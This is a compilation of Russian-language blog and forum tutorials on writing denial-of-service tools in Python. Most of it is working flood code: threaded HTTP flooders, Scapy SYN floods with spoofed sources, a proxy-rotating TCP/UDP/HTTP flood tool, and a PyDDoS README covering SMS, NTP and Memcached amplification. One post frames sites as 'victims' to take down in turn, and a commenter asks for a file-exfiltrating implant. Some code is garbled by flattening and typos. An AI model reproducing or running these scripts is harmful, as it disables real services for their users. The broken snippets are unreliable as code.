DOS атака при помощи Python
Для атак вида «DOS» используют один мощный сервер который посылает жертве столько запросов, что жертва не успевает обработать их и выдаёт ошибку 503 либо 504.
Для атаки нужна многопоточность, то есть нужно чтобы скрипт отправлял запрос не ожидая завершения предыдущего. В Python для этого есть библиотека «therading».
Пример простейшего скрипта для доса:
# coding: utf8 import threading import requests def dos(): while True: requests.get("http://example.com") while True: threading.Thread(target=dos).start()
Скрипт рекомендую запускать только на мощных компьютерах а ещё лучше на VPS сервере. Вот наш скрипт в действии:
Так же советую попробовать новый ддос скрипт который использует вместо потоков асинхронный код
Популярные сообщения из этого блога
Ведем телеграм канал через питон
Для создания ботов существует библиотека aiogram . Но не всегда обязательно использовать ботов, вить иногда вам просто нужно посылать сообщения в канал с собственного имени. Для этого больше всего подходит библиотека pyrogram . Устанавливаем её: pip install pyrogram Далее нужно создать телеграм приложение, от которого будут посылатся запросы. Создать приложение можно на https://my.telegram.org/apps . После регистрации приложения должна появится такая форма: Как посылать сообщения в канал from pyrogram import Client api_id = 12345 api_hash = «0123456789abcdef0123456789abcdef» with Client( «my_account» , api_id, api_hash) as app: app.send_message( «me» , «Greetings from **Pyrogram**!» ) Вместо api_id и api_hash нужно подставить свои данные, полученные при регистрации. Далее нужно ввести свой номер телефона, и ввести код который пришел на него. В этой же директории будет файл my_account.session . В нем содержится сама сейсия. В сох
Как создать загрузочную флешку Windows 10 с Ubuntu 2021
Как бы не был хорош Linux, но от Windows никуда не дется. И мне потребовалось создать загрузочную флешку Windows 10, с Ubuntu. Для создания загрузочной флешки нужно скачать ISO образ WIndows 10 . При помощи WoeUsb можно создать загрузочную флешку. Чтобы установить WoeUSB нужно скачать один из баш скриптов с релизов на гитхабе https://github.com/WoeUSB/WoeUSB/releases . Затем дать права на исполнение через chmod +x имяфайла.bash . На убунту так же требуется установить wimtools: sudo apt install wimtools . Дале нужно найти айди девайса флешки. Для этого нужно выполнить lsblk -p , и в результате будет список: Понять что из этого флешка можно по размерам. В моем случае нужен /dev/sdc не /dev/sdc1. Тк цифра в конце означает номер раздела, а нам нужен только девайс. Отсоединяем флешку от файловой системы: umount /dev/sdc1 И можно начать запись на флешку: sudo ./woeusb-5.1.2.bash —device Win10_21H1_English_x64.iso /dev/sdc Теперь нужно подождать пока цифра внизу станет 100. В итоге у вас
This Post Has 11 Comments
-
HI I hope your having a good day
quick question when i saw your video on how to ddos
what app where u using to type the code lignes ?thank you
-
-
Without attacking how can I code DDOS ?
-
it just don’t work the booter it closed in afrection of a second it don’t work help?
-
Quality content is the main to invite the viewers to visit the web site, that’s what this web page
is providing. -
so where is the full code the full code?
-
could you do a tutorial on how to write a program to embed into a computer or any device and send files back to the host device?
-
Cảm ơn anh đã chia sẽ kiến thức về DDOS. Em muốn xem quá trình và kết quả của đoạn code trên. Anh có thể làm 1 video để demo quá trình tấn công trên được không ạ. Em cảm ơn anh.
-
Exceptional post however , I was wanting to know if you could write
a litte more on this topic? I’d be very thankful if you could elaborate
a little bit more. Thanks! -
You Might Also Like
PyDDoS
Modern DDoS toolkit with Python3
- This is simple ddos script with python3 for education purpose.
Methods:
Method | Target | Description |
---|---|---|
SMS | PHONE | Sends a massive amount of SMS messages and calls to a single target |
Sends a massive amount of Email messages to a target | ||
NTP | IP:PORT | NTP amplification is a type of Distributed Denial of Service (DDoS) attack in which the attacker exploits publically-accessible Network Time Protocol (NTP) servers to overwhelm the targeted with User Datagram Protocol (UDP) traffic. |
SYN | IP:PORT | A SYN flood (half-open attack) is a type of denial-of-service (DDoS) attack which aims to make a server unavailable to legitimate traffic by consuming all available server resources. |
UDP | IP:PORT | A UDP flood is a type of denial-of-service attack in which a large number of User Datagram Protocol (UDP) packets are sent to a targeted server with the aim of overwhelming that device’s ability to process and respond. The firewall protecting the targeted server can also become exhausted as a result of UDP flooding, resulting in a denial-of-service to legitimate traffic. |
POD (Ping of Death) | IP | Ping of Death (a.k.a. PoD) is a type of Denial of Service (DoS) attack in which an attacker attempts to crash, destabilize, or freeze the targeted computer or service by sending malformed or oversized packets using a simple ping command. |
ICMP | IP:PORT | Ping flood, also known as ICMP flood, is a common Denial of Service (DoS) attack in which an attacker takes down a victim’s computer by overwhelming it with ICMP echo requests, also known as pings. |
HTTP | URL | HTTP Flood is a type of Distributed Denial of Service (DDoS) attack in which the attacker manipulates HTTP and POST unwanted requests in order to attack a web server or application. These attacks often use interconnected computers that have been taken over with the aid of malware such as Trojan Horses. |
Slowloris | IP:PORT | Slowloris is a denial-of-service attack program which allows an attacker to overwhelm a targeted server by opening and maintaining many simultaneous HTTP connections between the attacker and the target. |
Memcached | IP:PORT | A memcached distributed denial-of-service (DDoS) attack is a type of cyber attack in which an attacker attempts to overload a targeted victim with internet traffic. The attacker spoofs requests to a vulnerable UDP memcached* server, which then floods a targeted victim with internet traffic, potentially overwhelming the victim’s resources. While the target’s internet infrastructure is overloaded, new requests cannot be processed and regular traffic is unable to access the internet resource, resulting in denial-of-service. |
Installation:
git clone https://github.com/CyberCommands/PyDDoS.git
USAGE:
usage: pyddos.py [-h] [--target <IP:PORT, URL, PHONE>]
[--method <SMS/EMAIL/NTP/UDP/SYN/ICMP/POD/SLOWLORIS/MEMCACHED/HTTP>]
[--time <time>] [--threads <threads>]
Distributed Denial-of-Service Attack ToolKit
optional arguments:
-h, --help show this help message and exit
--target <IP:PORT, URL, PHONE>
Target IP:port, url or phone
--method <SMS/EMAIL/NTP/UDP/SYN/ICMP/POD/SLOWLORIS/MEMCACHED/HTTP>
Attack method
--time <time> time in secounds
--threads <threads> threads count (1-200)
For Example:
$ sudo python3 pyddos.py --method MEMCACHED --time 60 --threads 100 --target 127.0.0.1:80
$ python3 pyddos.py --method SMS --time 30 --threads 50 --target +66123456789
Всем привет! Сегодня я вам покажу, как вы можете написать свой скрипт для DOS атак.
Конечно же слово атака здесь применяется в хорошем смысле. Тестируйте только на себе
Для начала разберемся что такое DOS и в чем различие от DDOS.
DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа
Если атака выполняется одновременно с большого числа компьютеров, говорят о DDoS-атаке (от
Ссылка скрыта от гостей
Distributed Denial of Service, распределённая атака типа «отказ в обслуживании»). Такая атака проводится в том случае, если требуется вызвать отказ в обслуживании хорошо защищённой крупной компании или правительственной организации.
Думаю вы поняли. Если проще объяснить различие, то получится так: ddos — много атакующих и одна цель. dos — один атакующий и одна цель.
Цель этой статьи — написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.
Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.
Давайте сначала установим зависимости для нашего Python3. Их всего 3: colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:
Bash:
sudo apt update && sudo apt install python3-pip && pip3 install colorama && pip3 install threading && pip3 install requests
Объясню для чего нужна каждая зависимость.
colorama — библиотека, которая упростит работу с цветами в консоли. Можете обойтись без неё, использую спец. символы консоли, как в .sh скриптах, либо всё сделать одного цвета.
requests — библиотека, которая позволит отправлять post/get запросы на удаленный сервер.
threading — библиотека, которая обеспечит многопоточность программы. Многопоточность увеличит скорость.
Приступим к написанию.
Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.
Python:
import colorama
import threading
import requests
Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:
Python:
def dos(target):
while True:
try:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы
мы будем сочетанием клавиш ctrl+c. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.
Дальше приступим к главному коду.
Python:
threads = 20
url = input("URL: ")
try:
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect!")
if not url.__contains__("http"):
exit("URL doesnt contains http or https!")
if not url.__contains__("."):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
Теперь объясняю. Создаем переменную threads, в которой мы будем хранить количество потоков. Я по умолчанию на 20 поставил. (Это не очень много, чисто поставил для примера). Дальше объявили переменную url, в которую мы запишем домен цели.
Далее мы запрашиваем у пользователя количество потоков, которое он хотел бы использовать. Заметьте мы это делаем в блоке try, если это делать без него, то может выдать исключение, если при преобразовании строки в int попадётся текст.
Дальше мы так же проверяем количество потоков, если их 0, то программа не будет работать. (Ни один поток не запущен — не работает)
Мы проверяем точно ли это ссылка при помощи двух проверок:
- Проверка на содержание http/https
- Проверка на содержание точки. Если есть точка, то скорее всего после точки идет что-то еще. (Пример: »
Ссылка скрыта от гостей
.com«)
Дальше мы создаем в цикле потоки и запускаем их. Ну и так же информируем пользователя о запуске потока под номером i.
Вот собственно и всё.
Python:
import colorama
import threading
import requests
def dos(target):
while True:
try:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
threads = 20
url = input("URL: ")
try:
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect!")
if not url.__contains__("http"):
exit("URL doesnt contains http or https!")
if not url.__contains__("."):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
Не судите строго, моя первая статья. Лучше напишите, что не так, что понравилось и еще какую-нибудь критику. Всё прочитаю, всё исправлю!
Всем спасибо за внимание!
Привет всем! Небольшой пост сегодня, навеянный текущей ситуацией. Будем экспериментировать с DOS-атаками с помощью библиотеки requests в Python.
Длы начала — что такое DOS-атака? Это создание ситуации, когда мы самостоятельно (совсем не эффективно при текущих-то мощностях) или коллективно (о, да!) создаем некоторую нагрузку на атакуемый сервер. Множество запросов, которые заставляют сервер выделять на ответы свои ресурсы приводят к тому, что в итоге сервер оказывается перегружен запросами, и не может обрабатывать те запросы, которые действительно нужны. Так давайте разберемся, как создавать эти запросы? 🙂
Логика сеогдняшнего кода очень проста — отправляем запрос на сайт и пытаемся получить полный код интересующей нас страницы. Мелочь, но — когда мелочей миллион — сайт начинает тормозить, и в итоге — перестает стабильно работать. Для нашего же компьютера и соединения это — совершенно незаметная нагрузка.
Пример кода — ниже (и да, за тестирование и комментарии спасибо подписчику Льву, который сейчас в Киеве. Там очень сложно, но он не теряет оптимизма — за что ему отдельный респект!):
import requests #подключили библиотеку requests (о ней я <a href="https://lavrynenko.com/?s=requests" rel="noopener" target="_blank">писал неоднократно</a>) def get_link(): #Создаем функцию, которая получает ссылку на атакуемый сайт link = input(str('Link: ')) get_content(link) def get_content(link): #Создаем функцию, которая собственно и будет создавать запросы на атакуемый сайт i = 1 while True: try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) #Поддельный заголовок нашего браузера r_answer = r.content #Создаем переменную, которая состоит из исходного кода страницы print('Отправлено пакетов:', i) #Выводим статистику i = i + 1 except: print('Кажется, сайт', link, 'лежит. Дополнительная проверка...') #Лег сайт? Проверим на всякий случай :) try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) r_answer = r.content print('Точно лежит :) Выбираем следующую жертву.') #Точно лег. Давайте выберем следующую жертву? :) get_link() except: print('Точно лежит :) Выбираем следующую жертву.') get_link() while True: get_content(get_link()) get_link()
Спасибо за внимание 🙂 Как всегда — в случае возникновения вопросов пишите на почту или в Telegram.
Завтра постараюсь выкатить версию простейшего атакера, основанного на Ping-запросах в виде оконного приложения (беда современных пользователей компьютеров в том, что бОльшая часть совершенно не умеет пользоваться командной строкой). Слава Украине!
Больше …
Привет всем! Решил сделать пост, содержащий основные селекторы и параметры…
В этой главе мы узнаем о атаках DoS и DdoS и узнаем, как их обнаружить.
С бумом в индустрии электронной коммерции, веб-сервер теперь подвержен атакам и стал легкой целью для хакеров. Хакеры обычно пытаются два типа атаки –
- DoS (отказ в обслуживании)
- DDoS (распределенный отказ в обслуживании)
DoS (отказ в обслуживании) атака
Атака «отказ в обслуживании» (DoS) – это попытка хакеров сделать сетевой ресурс недоступным. Обычно он прерывает хост, временный или неопределенный, который подключен к Интернету. Эти атаки обычно нацелены на службы, размещенные на критически важных веб-серверах, таких как банки, шлюзы оплаты кредитными картами.
Симптомы DoS-атаки
-
Необычно низкая производительность сети.
-
Недоступность определенного веб-сайта.
-
Невозможность получить доступ к любому веб-сайту.
-
Резкое увеличение количества полученных спам-писем.
-
Долгосрочный отказ в доступе к сети или любым интернет-сервисам.
-
Недоступность конкретного сайта.
Необычно низкая производительность сети.
Недоступность определенного веб-сайта.
Невозможность получить доступ к любому веб-сайту.
Резкое увеличение количества полученных спам-писем.
Долгосрочный отказ в доступе к сети или любым интернет-сервисам.
Недоступность конкретного сайта.
Типы DoS-атак и их реализация на Python
DoS-атака может быть реализована на канале передачи данных, на уровне сети или на уровне приложений. Давайте теперь узнаем о различных типах DoS-атак &; их реализация в Python –
Один IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и с одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python поможет реализовать DoS-атаку с одним IP-портом –
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
После выполнения вышеприведенный скрипт запросит следующие три вещи:
-
IP-адрес источника и цели.
-
IP-адрес номера порта источника.
-
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
IP-адрес источника и цели.
IP-адрес номера порта источника.
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
Один IP, несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт на python поможет реализовать DoS-атаку с несколькими IP-портами:
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") i = 1 while True: for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
Несколько IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с одного номера порта. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с несколькими портами на один IP –
from scapy.all import * target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
Несколько IP несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими портами –
Import random from scapy.all import * target_IP = input("Enter IP address of Target: ") i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
DDoS-атака (распределенный отказ в обслуживании)
Распределенная атака типа «отказ в обслуживании» (DDoS) – это попытка сделать веб-службу или веб-сайт недоступными, перегружая их огромным потоком трафика, генерируемым из нескольких источников.
В отличие от атаки типа «отказ в обслуживании» (DoS), в которой один компьютер и одно подключение к Интернету используются для заполнения целевого ресурса пакетами, атака DDoS использует много компьютеров и множество подключений к Интернету, часто распределенных по всему миру в том, что называется ботнетом. , Крупномасштабная DDoS-атака может генерировать трафик, измеряемый десятками гигабит (и даже сотнями гигабит) в секунду. Это можно прочитать подробно на https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm .
Обнаружение DDoS с использованием Python
На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, отправляющий трафик, является поддельным или реальным. Сценарий Python, приведенный ниже, поможет обнаружить DDoS-атаку.
Для начала давайте импортируем необходимые библиотеки –
import socket import struct from datetime import datetime
Теперь мы создадим сокет, как и в предыдущих разделах.
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
Мы будем использовать пустой словарь –
dict = {}
Следующая строка кода откроет текстовый файл, содержащий подробную информацию о DDoS-атаке в режиме добавления.
file_txt = open("attack_DDoS.txt",'a') t1 = str(datetime.now())
С помощью следующей строки кода при каждом запуске программы будет записываться текущее время.
file_txt.writelines(t1) file_txt.writelines("n")
Теперь нам нужно принять на себя попадания с определенного IP. Здесь мы предполагаем, что если конкретный IP-адрес будет срабатывать более 15 раз, то это будет атака.
No_of_IPs = 15 R_No_of_IPs = No_of_IPs +10 while True: pkt = s.recvfrom(2048) ipheader = pkt[0][14:34] ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) IP = socket.inet_ntoa(ip_hdr[3]) print "The Source of the IP is:", IP
Следующая строка кода проверит, существует ли IP в словаре или нет. Если он существует, то он увеличится на 1.
if dict.has_key(IP): dict[IP] = dict[IP]+1 print dict[IP]
Следующая строка кода используется для удаления избыточности.
if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) : line = "DDOS attack is Detected: " file_txt.writelines(line) file_txt.writelines(IP) file_txt.writelines("n") else: dict[IP] = 1
После запуска вышеуказанного скрипта мы получим результат в текстовом файле. Согласно сценарию, если IP-адрес попадет более 15 раз, он будет напечатан при обнаружении DDoS-атаки вместе с этим IP-адресом.
Пишем самый мощный инструмент для DoS атак [Python]
Life-HackЧто такое DoS атака?
DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых добросовестные пользователи системы не могут получить доступ к предоставляемым системным ресурсам (серверам), либо этот доступ затруднён. Отказ «вражеской» системы может быть и шагом к овладению системой (если в нештатной ситуации ПО выдаёт какую-либо критическую информацию — например, версию, часть программного кода и т. д.). Но чаще это мера экономического давления: потеря простой службы, приносящей доход, счета от провайдера и меры по уходу от атаки ощутимо бьют «цель» по карману.[1] В настоящее время DoS и DDoS-атаки наиболее популярны, так как позволяют довести до отказа практически любую систему, не оставляя юридически значимых улик.
Сегодня мы с вами напишем самый мощный(по моему мнению) инструмент для DoS атак на Python. Начнем мы с вам с того, что я покажу список библиотек, которые я использовал.
# -*- coding: utf-8 -*- import urllib.request import sys from scapy.all import * #отличная либа # Импортируем либы import socket import socks import argparse import threading import random
Теперь укажем автора программы))
__author__ = "Жмышенко Валерий Альбертович 54 года"
Введем переменные, необходимые для работы программы:
sites = ["https://www.socks-proxy.net/","http://free-proxy-list.net/"] #Сайты откуда берем прокси useragents = [] ##Мощность DoS-а зависит от вашего интернет соеденения!!! multiple = 70 # Умножение, значение можно менять threads = 800 # Кол-во потоков, можно менять choice1 = 0 #Для настройки типа флуда choice2 = 0 #Для настройки типа флуда choice3 = 0 #Для настройки типа флуда port = 80 # Порт куда будут слаться заросы, можно менять
Также хочу отметить, что мощность DoS-а зависит от вашего интернет соединения и качества прокси! Чтобы повысить мощность вы можете менять значение переменных multiple
и threads
Добавим в нашу программу аргументы:
##### Добавляем в программу аргументы parser = argparse.ArgumentParser() parser.add_argument('-useragent', help = 'Путь до файла с user-агентами') parser.add_argument('-proxylist', help = 'Путь до файла с proxy') parser.add_argument('-url', help = 'Цель') parser.add_argument('-getproxy', help = 'Получить прокси? 1 - да | 0 - нет') args = parser.parse_args() useragents_file = args.useragent needproxy = args.getproxy url = args.url proxies_list = args.proxylist if proxies_list == "": # Если прокси не указана закрыть программу print("Укажи прокси!") exit() if useragents_file == "": # Если useragent-ы не указаны закрыть программу print("Укажи useragent-ов!") exit() proxies = open(proxies_list).readlines() # Читаем прокси #####
Пропишем получение useragent-ов с файла:
###### Получение юзер агента с файла handle = open(useragents_file) for x in handle: useragents.append(x) useragents = map(lambda s: s.strip(), useragents) useragents = list(useragents) ######
Напишем функцию, которая будет подгонять введенный пользователем URL под нашу программу:
def checkURL(): #Редактируем URL global url global url2 global urlport try: if url[0]+url[1]+url[2]+url[3] == "www.": url = "http://" + url elif url[0]+url[1]+url[2]+url[3] == "http": pass else: url = "http://" + url except: print("Ошибка!") exit() try: url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0] except: url2 = url.replace("http://", "").replace("https://", "").split("/")[0] try: urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1] except: urlport = "80"
Для работы программы нужны прокси, напишем функцию их получения:
def getPROXY(urlproxy): try: req = urllib.request.Request(("{0}").format(str(urlproxy))) req.add_header("User-Agent", random.choice(useragents)) sourcecode = urllib.request.urlopen(req) part = str(sourcecode.read()) part = part.split("<tbody>") part = part[1].split("</tbody>") part = part[0].split("<tr><td>") proxies = "" for proxy in part: proxy = proxy.split("</td><td>") #Получаем прокси с сайта путем разделения тегов try: proxies=proxies + proxy[0] + ":" + proxy[1] + "n" except: pass handle = open("proxy.txt","a") #Записуем полученные прокси в файл handle.write("") handle.write(proxies) handle.close() print ("Прокси скачаны успешно!") except: print ("Ошибка!")
Пользователь будет указывать, нужно ли качать прокси, поэтому сделаем проверку:
if needproxy == "1": # Нужно ли качать прокси? #### Получение проксей for x in sites: getPROXY(x) ####
Теперь давайте напишем функцию, которая будет определять какой тип флуда нужен пользователю(можно это было сделать и через аргументы, но я решил сделать так))) ):
def typeflood(): # Определяем тип флуда global choice1 #Для сайтов самый сильный - HTTP global choice2 global choice3 select = input("UDP или TCP или HTTP? => ") if select == "TCP": choice1 = "1" # Изначально программа была в интерактивном режиме choice2 = "y" # Но я убрал его, оставив лишь выбор метода флуда choice3 = "0" # Поэтому переменные называются choice)) if select == "UDP": choice1 = "2" choice2 = "y" #Тестить мощь ваше DoS-а или DDoS-а можно здесь: https://www.vedbex.com/tools/dstat choice3 = "0" if select == "HTTP": choice1 = "0" choice2 = "y" choice3 = "0"
Думаю 3-ех методов достаточно. Пишем функцию, которая будет запускать нужный нам метод флуда:
def loop(): global threads global get_host global acceptall global connection global go global x if choice1 == "0": # прописуем заголовки, чтобы не нагружать потоки get_host = "GET " + url + " HTTP/1.1rnHost: " + url2 + "rn" acceptall = [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflatern", "Accept-Encoding: gzip, deflatern", "Accept-Language: en-US,en;q=0.5rnAccept-Encoding: gzip, deflatern", "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8rnAccept-Language: en-US,en;q=0.5rnAccept-Charset: iso-8859-1rnAccept-Encoding: gziprn", "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5rnAccept-Charset: iso-8859-1rn", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rnAccept-Charset: utf-8, iso-8859-1;q=0.5rn", "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*rnAccept-Language: en-US,en;q=0.5rn", "Accept: text/html, application/xhtml+xml, image/jxr, */*rnAccept-Encoding: gziprnAccept-Charset: utf-8, iso-8859-1;q=0.5rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rn", "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1rnAccept-Encoding: gziprnAccept-Language: en-US,en;q=0.5rnAccept-Charset: utf-8, iso-8859-1;q=0.5rn," "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8rnAccept-Language: en-US,en;q=0.5rn", "Accept-Charset: utf-8, iso-8859-1;q=0.5rnAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1rn", "Accept: text/html, application/xhtml+xml", "Accept-Language: en-US,en;q=0.5rn", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rnAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1rn", "Accept: text/plain;q=0.8,image/png,*/*;q=0.5rnAccept-Charset: iso-8859-1rn", ] # заголовок Accept передается случайным образом, чтобы запросы казались легитимными connection = "Connection: Keep-Alivern" # x = 0 # для счета go = threading.Event() if choice1 == "1": # Выбираем TCP флуд if choice2 == "y": if choice3 == "0": for x in range(threads): TcpFloodProxed(x+1).start() # запуск класса print ("Поток " + str(x) + " готов!") go.set() # Запуск потоков, как только они все будут готовы else: # Выбираем UDP флуд if choice1 == "2": if choice2 == "y": if choice3 == "0": for x in range(threads): UdpFloodProxed(x+1).start() # запуск класса print ("Поток " + str(x) + " готов!") go.set() # Запуск потоков, как только они все будут готовы else: # Выбираем HTTP флуд if choice2 == "y": if choice3 == "0": for x in range(threads): RequestProxyHTTP(x+1).start() # запуск класса print ("Поток " + str(x) + " готов!") go.set() # Запуск потоков, как только они все будут готовы
Сейчас начинается самое интересное, пишем сами методы флуда. Решил использовать классы:
class TcpFloodProxed(threading.Thread): # класс многопоточности def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной threading.Thread.__init__(self) self.counter = counter def run(self): # функция, которая дает инструкции для потоков data = random._urandom(1024) # рандомная дата для пакета p = bytes(IP(dst=str(url2))/TCP(sport=RandShort(), dport=int(port))/data) # построение пакета tcp + data current = x # текущий поток if current < len(proxies): # если поток может связаться с прокси, этот прокси используется proxy = proxies[current].strip().split(':') else: # в противном случае выбирается другое прокси proxy = random.choice(proxies).strip().split(":") go.wait() # ожидание, пока все прокси будут готовы while True: try: socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования s = socks.socksocket() # создание сокета s.connect((str(url2),int(port))) # подключение s.send(p) # отправка print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter try: # отправлять другие запросы в этом же потоке for y in range(multiple): # коэффициент умножения s.send(str.encode(p)) # кодируем запрос в байты except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится s.close()
Прописуем UDP флуд:
class UdpFloodProxed(threading.Thread): # класс многопоточности def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной threading.Thread.__init__(self) self.counter = counter def run(self): # функция, которая дает инструкции для потоков data = random._urandom(1024) # рандомная дата для пакета p = bytes(IP(dst=str(url2))/UDP(dport=int(port))/data) # построение пакета udp (классика) current = x # текущий поток if current < len(proxies): # если поток может связаться с прокси, этот прокси используется proxy = proxies[current].strip().split(':') else: # в противном случае выбирается другое прокси proxy = random.choice(proxies).strip().split(":") go.wait() # ожидание, пока все прокси будут готовы while True: try: socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True) # команда для HTTP-проксирования s = socks.socksocket() # создание сокета s.connect((str(url2),int(port))) # подключение s.send(p) # отправка print ("Запрос отправлен с " + str(proxy[0]+":"+proxy[1]) + " =>", self.counter) # вывод req + counter try: # отправлять другие запросы в этом же потоке for y in range(multiple): # коэффициент умножения s.send(str.encode(p)) # кодируем запрос в байты except: # если что-то пойдет не так, сокет закроется, и цикл снова запустится s.close() except: s.close() # если что-то пойдет не так, закрыть поток и начать заново
Пишем HTTP флуд:
class RequestProxyHTTP(threading.Thread): # класс многопоточности def __init__(self, counter): # функция вызывается практически только на счетчик потоков. Параметр счетчика функции, передает x + 1 выше в качестве счетной переменной threading.Thread.__init__(self) self.counter = counter def run(self): # функция, которая дает инструкции для потоков useragent = "User-Agent: " + random.choice(useragents) + "rn" # выбор рандомного useragent-а accept = random.choice(acceptall) # выбор рандомного заголовка "Accept" randomip = str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) + "." + str(random.randint(0,255)) forward = "X-Forwarded-For: " + randomip + "rn" # X-Forwarded-For добавляем заголовок, который повысит нам анонимность request = get_host + useragent + accept + forward + connection + "rn" # создаем конечный запрос current = x # текущий поток if current < len(proxies): # если поток может связаться с прокси, этот прокси используется proxy = proxies[current].strip().split(':') else: # в противном случае выбирается другое прокси proxy = random.choice(proxies).strip().split(":") go.wait() # ожидание, пока все прокси будут готовы while True: # бесконечный цикл try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # создаем сокет s.connect((str(proxy[0]), int(proxy[1]))) # коннектимся к прокси 